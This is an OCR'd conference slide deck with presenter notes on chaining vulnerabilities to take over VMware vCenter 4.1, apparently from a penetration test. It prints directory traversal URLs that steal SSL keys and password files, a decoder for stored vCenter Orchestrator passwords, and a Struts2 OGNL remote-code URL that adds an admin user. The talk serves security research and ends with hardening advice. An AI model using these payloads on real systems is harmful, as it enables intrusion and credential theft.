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Presenter
Presentation Notes
Hello everyone! My name is Alexander Minozhenko. This talk  is planned with Alexey Sintsov,  but unfortunately he could not attend because of problem with travel documents.
This talk will discuss some ways to gain control over the virtual infrastructure through vCenter’s services. 
I will describe a few non-dangerous bugs (they were 0-days when we found them), but if we can use all of them together, we will get administrative access to vCenter which means to the whole virtual network. It not a rocket science 
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Presenter
Presentation Notes
 I am work at company ERPScan as penetration tester
I am one of  defcon-russia DCG7812 organizer
Also  I  sometimes play at CTF competions with team leet more. 



ERPScan

Security Scanner for SAP

Innovative company engaged in ERP security R&D

e Part of “Digital Security”, a Russian group of
companies founded in 2002

 Flagship product — ERPScan Security Scanner for
SAP

e Tools: pen-testing tool, sapsploit, web.xml scanner
e Consulting Services: ERP/SRM/CRM/SCADA/e.t.c
Pen-tests,SAP assessment, SAP code review



Presenter
Presentation Notes
My company ERPScan is   part of Digital Security company. We  perform security audit, penetration testing, security assessment  of erp system .
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Presenter
Presentation Notes
During one of our penetration testing we found network where a part of infrastructure was built on  Vmware ESXi servers with Vmware vCenter. All hosts was patched up.
 It is hard to directly attack Vmware ESXi server. 
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Presenter
Presentation Notes
We decided that much better approach would be  attack VMware Infastructure management solution. So out target vCenter version 4.1 update 1
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 VMware vCenter Server is solution to manage
VMware vSphere

VMware vCenter Server

Ivmhvnl“m“m'}m'}m'}m'}m'\m“m”vm”vm}

__/



Presenter
Presentation Notes
 Vmware vCenter is solution for management and configuration  vShpere. 
Containts a lot of services like VMware Update manager –solution for path mangment, vCenter Orchestrator ,ChargeBack Manager and others. Each of services contains http and other ports 
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e Directory traversal in Jetty web server
e http://target:9084/vci/download/health.xml/%3f/../../../../FILE
* Discovered by Claudio Criscione

But Fixed in VMware Update Manager 4.1 update 1 :(



Presenter
Presentation Notes
First thing we do is check exploit-db, security mail list to find some vulns.
There are not a lot of bugs at vCenter. 
First we saw classical directory traversal discovered by  Claudio  Criscione  in VMware Update Manager. The vulnerability was caused by Jetty web server  which is bind on port 9084. The cause of bug was in alias handling on windows. We can read any file by exploiting this bug. 
But unfortunaly this bug was fixed in our version. So we could not use it 
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e Directory traversal in Jetty web server

e http://target:9084/vci/download/.%5C..%5C..%5C..%5C..%5C..%
5C..%5C..%5C. \FILE.EXT

e Discovered by Alexey Sintsov

e Metasploit module vmware update _manager_traversal.rb by
sinn3r


Presenter
Presentation Notes
But Alexey Sintsov do not trust patches and after  15 minutes he find the same bug, at the same place.  Threre are metasploit module written by s3nner which exploit this bug.


http://target:9084/../../../../../../FILE.EXT
http://target:9084/../../../../../../FILE.EXT
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e What file to read?
e Claudio Criscione propose to read vpxd-profiler-* -

/SessionStats/SessionPool/Session/Id='06B90BCB-A0A4-4B9C-B680-
FB72656A1DCB'/Username=,FakeDomain\FakeUser'/SoapSession/ld="'A
D45B176-63F3-4421-BBF0O-FE1603E543F4'/Count/total 1

e Contains logs of SOAP requests with session ID


Presenter
Presentation Notes
But what file to read? Claudio proposed to read vpxd-profiler log files. This files contains SOAP requests with session id. And we  replace our session id with session id of admins.
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e “VASTO — collection of Metasploit modules
meant to be used as a testing tool to perform
penetration tests or security audit of
virtualization solutions.”
http://vasto.nibblesec.org/

e vmware_updatemanager_traversal.rb
Jetty path traversal

e vmware_session_rider.rb
Local proxy to ride stolen SOAPID sessions



Presenter
Presentation Notes
He also developed tool VASTO which is collection of metasploit module for exploiting virtualization infrastructure. It has module for exploiting traversal directory and is has proxy which replace session id with stolen session id. 	


http://vasto.nibblesec.org/
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e Fixed in version 4.1 update 1,

e contain ip - addresses
@ v e - W % i U Y
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4 vcifdownloads/ LGS Program Datah Viviware WMware Virtual CenterLogshwvpsxd- profiler-6

d-profiler-6Jog x | [ Error 404 - Not Found x |+ |

Section for VMware VirtualCenter, pid=3564, wversion=4.1.0, build=build-345043, option=Releasze
[2011-@¥G-§4 12:39:20.558 00560 info "RApp']
<pullc?m%rs>
fhlarmStats/NotificationsPending/Count,/total O
/DbStats/Pool/Conx/InUse/total 1
fDb5tats/Pool/Cnx/RetryCount/total O
fDb5tats/Pool/Cnx/5ize/total 10
/DbStats/Pool/Txn/CommitCount/total 56
fDb5tats/Pool/Txn/ReplayCount,/total 0
fDbStatzs/Pool/Txn/RollbackCount/total O
fDbStatzs/Pool/Txn/S5tmcCount/total 555
fEvent3tats/PendingEvents/Count/total 2
JSInventoryStats,/ManagedEntitysStats/Cluscers,/total 2



Presenter
Presentation Notes
But VMware developers have worked well and cleaned  the log file from  session ids, but it contains ip address which can be useful. So we  need to find another file to read. 
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 Make arp spoofing
e Spoof ssl certificate


Presenter
Presentation Notes
So we decided to try classic arp spoofing, but vSphere client use ssl and we need to spoof ssl cert.
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e Administrators check SSL cert

— Certificate Warnings

An untrusted SSL certificate is installed on “win-Siipbe5g5br® and secure communication cannot be

guaranteed. Depending on your security palicy, this issue might not represent a security concern.
‘You may need to install a trusted SSL certificate on your server to prevent this warning from

appearing.

Click Ignore to continue using the current S5L certificate.

View Certificate Ignore Cancel |

[T Installthis certificate and do not display any security warnings for "win-SiipbeSq5br”,



Presenter
Presentation Notes
But it did not work because admins was clever, they add cert to trusted zone and does not push “Ignore button”
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e Steal ssl key via directory traversal

http://target:9084/vci/downloads/.\..\..\..\..\..\..\..\Documents and Settings\All
Users\Application Data\VMware\VMware VirtualCenter\SSL\rui.key

 Make arp-spoofing

* Decrypt traffic with stolen ssl key
 What if arp-spoofing does not work?


Presenter
Presentation Notes
So we try use directory traversal which we found to steal ssl private keys.Then  make arp-spoofing, decrypt ssl traffic using this key and stole admin session id.


http://target:9084/Documents and Settings/All Users/Application Data/VMware/VMware VirtualCenter/SSL/rui.key
http://target:9084/Documents and Settings/All Users/Application Data/VMware/VMware VirtualCenter/SSL/rui.key
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e Vmware vCO — software for automate
configuration and management

* |nstall by default with vCenter
 Have interesting file

/Program files\VMware\Infrastructure\Orchestrator\configuration\jetty\etc\passwd.properties


Presenter
Presentation Notes
And that worked pretty well. But we wanted more. What if arp spoofing does not work? So we decided to look for something else 
We noticed VMware vCenter Orchestrator – interface for managing vCenter. So  we thought that it must store password from vCenter somewhere. 
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 Which contains md5 password without salt

 Could easy bruteforce using rainbow tables,
GPU

| (B dookie@inboxru: Re:yo... * | [} hitpi/defeon-russiau/d.. » | [{]1010430:9084/vci/down... x \ &\
€ - C | ©O4na o084/ vci/downloads/.%5C. %5C.%5C. %5C.%5C. %5C. %5C. %5CProgram%

52963abd36c896b33a36b8e286L£13387



Presenter
Presentation Notes
We found them in jetty\etc\passwd.properties  in form of md5 hash without a salt. So it was not hard to bruteforce them.
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VMware Virtual Infrastructure

Available: g

‘ LDAP

Database

R Server Certificate

:i\ Licenses

E Startup Options

&

Troubleshooting

'] Plug-ins
@ SSH (1.0.2)

@ vCenter 4.0 (4.0.0)

Host: |new—virtual—oenter—hu&t |

Port: |443 |

Secure channel

Path: | fadk |

Specify the user credential for the admir

User name: |vmware |

Specify which strategy will be used for

Password: |

@ Share a unigque =ession : B se

User name: | |

Password: | |


Presenter
Presentation Notes
	After login to vCO we noticed that it used for management of vCenter. You can on slide there are  some plugins on left: domain controllers, mail, ssh and almost each plugin have password  So it must stored  somewhere password for vCenter. Would it be cool if we can read them?
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%iTT IEHUCT LIE LENPLOLT, §WLL~ LI f POgce) PLUBLI PLUELI . J20 <
v<div 1d="c_content">
¥{form namespace="/config_plugin® id="PluginSave" name="PluginSave" onsubmit="return

validateForm PluginSave();" action="/config plugin/PluginSave.action™ method="POST":

B <Dal/p?

p <div id="wwgrp PluginSave installllsername" class="wwgrp">..{/div3

¥¢div 1d="wwgrp_PluginSave_installPassword" class="wwgra">

pdiv 1d="wwlbl PluginSave installPassword" class="wwlbl"s..{/div
<brz

Yidiv 1d="wwctrl PluginSave installPassword” class="uy
¢input type="password" name="installPassword" valfe="Password®l.” Hd="PluginSave installPassword">

< fdivy



Presenter
Presentation Notes
Actuale the was in plaintext
We found out that it store password from mail account, domen controllers and others in plain text. 
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e vCO stored password at files:

e C:\Program
Files\VMware\Infrastructure\Orchestrator\app-
server\server\vmo\conf\plugins\VC.xml|

e C:\Program
Files\VMware\Infrastructure\Orchestrator\app-
server\server\vmo\conf\vmo.properties


Presenter
Presentation Notes
We  go further and find some passwords in file VC.xml, vmo.propeties
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<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<virtual-infrastructure-hosts>
<virtual-infrastructure-host
<enabled>true</enabled>
<url>https://new-virtual-center-host:443/sdk</url>

<administrator-username>vmware</administrator-
username>

<administrator-
password>010506275767b74786b38334a60be76786474032
9d5fcf324ec7fc98bleOaaeef </administrator-password>

<pattern>%u</pattern>
</virtual-infrastructure-host>
</virtual-infrastructure-hosts>



Presenter
Presentation Notes
It looks like hash it did not.  But they encoded using unknown algorithm


ERPScan

Security Scanner for SAP

]

006766e79647662151e213a242665123568256¢c4031702d4c78454e5b575f60654b
vmware

00776646771786a783922145215445b62322d1a2b5d6e1962a6a712d712e24726079

vcenter

* Red bytes look like length
e Green bytes in ASCIl range
e Black bytes random



Presenter
Presentation Notes
I encode few password and  noticed that first 3 bytes is length then byte in ascii range and after some random bytes.
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for (inti =0; i < nbDigits; i++) {
int value = 0;
if (i < pwd.length()) {
value = pwd.charAt(i); // Take i-th password symbol

}

else

{
value = Math.abs(rnd.nextInt() % 100); // Take random byte

}

String toAdd = Integer.toHexString(value +i); //i-th password symbol +
position of symbol

result.append(toAdd);


Presenter
Presentation Notes
 After searching in decompiled java code it was clear that encoding algorithm very simple. It just generate 16 random bytes than take password and add to each byte its position in password. 
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len = (pass[0..2]).to_i

enc_pass = pass[3..-1].scan(/.{2}/)

dec_pass = (0...len).collect do |i
byte = enc_pass|i].to_i(16)
byte -= i
byte.chr

end


Presenter
Presentation Notes
So I write simple decoder in one line  ruby code.
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e VMware vCenter Orchestrator use Struts2
version 2.11 discovered by Digital Defense, Inc

e CVE-2010-1870 Struts2/XWork remote
command execution discovered by Meder
Kydyraliev

e Fixedin4.2


Presenter
Presentation Notes
One of interesting is bug at Apache Stust 2 discovered originally  by Meder Kydariliev. Guys from Digital defense found that VMware orchestrator use old struts2 library. It library contains remote execution vulnerability  discovered by Meder Kurdaliev.
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e OGNL — expression language for java

e Struts2 treat each HTTP parameter name as
OGNL statement

http://target/login.action?page[‘login’]=user

action.getPage().setLanguage(“user”


Presenter
Presentation Notes
OGNL – is expression language for java. It used for setting and getting properties of Java object. It was possible because Stuts2 treat each HTTP parameter name as OGNL statement.

http://target/login.action?page[‘login’]=user
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* OGNL support:
e Method calling: foo()

e Static method
calling: @java.lang.System@exit(1)

e Constructor calling: new MyClass()
e Refer to variables: #foo = new MyClass()

e Context variables: #application, #session,
Hcontext


Presenter
Presentation Notes
 With OGNL statement you could call method, creating new class, call static method, reference to variables with hash sign. Meder found that Struts does not escape hash sign properly.
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e Struts2 does not properly escape “#”
e Could be bypass with unicode “\u0023”

e 2 variables need to be set for RCE
e # memberAccess['allowStaticMethodAccess']

e Hcontext['xwork.MethodAccessor.denyMethodE
xecution']



Presenter
Presentation Notes
And there 2 values need to be set, so we can execute java code. With this exploit we could execute arbitrary code. It was fixed at version 4.2.
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 Example exploit:

e # memberAccess['allowStaticMethodAccess'] =
true

e #foo = new java .lang.Boolean("false")

e Hcontext['xwork.MethodAccessor.denyMethodE
xecution'] = #foo

e Hrt = @java.lang.Runtime@getRuntime()

Hrt.exec(‘calc.exe’)
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 Example exploit:

e http://target:8282/login.action?
("\u0023_memberAccess[\'allowStaticMethodAcce
ss\']')(meh)=true&(aaa)(('\u0023context[\'xwork.
MethodAccessor.denyMethodExecution\']\u003d\
u0023foo') (\u0023foo\uO03dnew
java.lang.Boolean("false")))&
(asdf)(('\u0023rt.exec(“net user /add eviladmin
passWD123”)')
(\u0023rt\u003d@java.lang.Runtime@getRuntime

))=1
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e Update to latest version 4.2 update 4 or 5
* Filter administration service services
 VMware vSphere Security Hardering Guide


Presenter
Presentation Notes
For hardering I recommend to update to latest version. Config firewall so usual user could not have access to admins and management software. Also there are Vmware vSphere Security  Hardering Guide 
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e Fixed bugs not always fixed in proper way

e One simple bug and we can own all
infrastructure

e Password must be stored in hash with salt or
encrypted


Presenter
Presentation Notes
	Conclusion of that story that some patches do not always fixed vulnerability and  some research during penetration testing can produce interesting result. 
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a.minozhenko@dsec.ru
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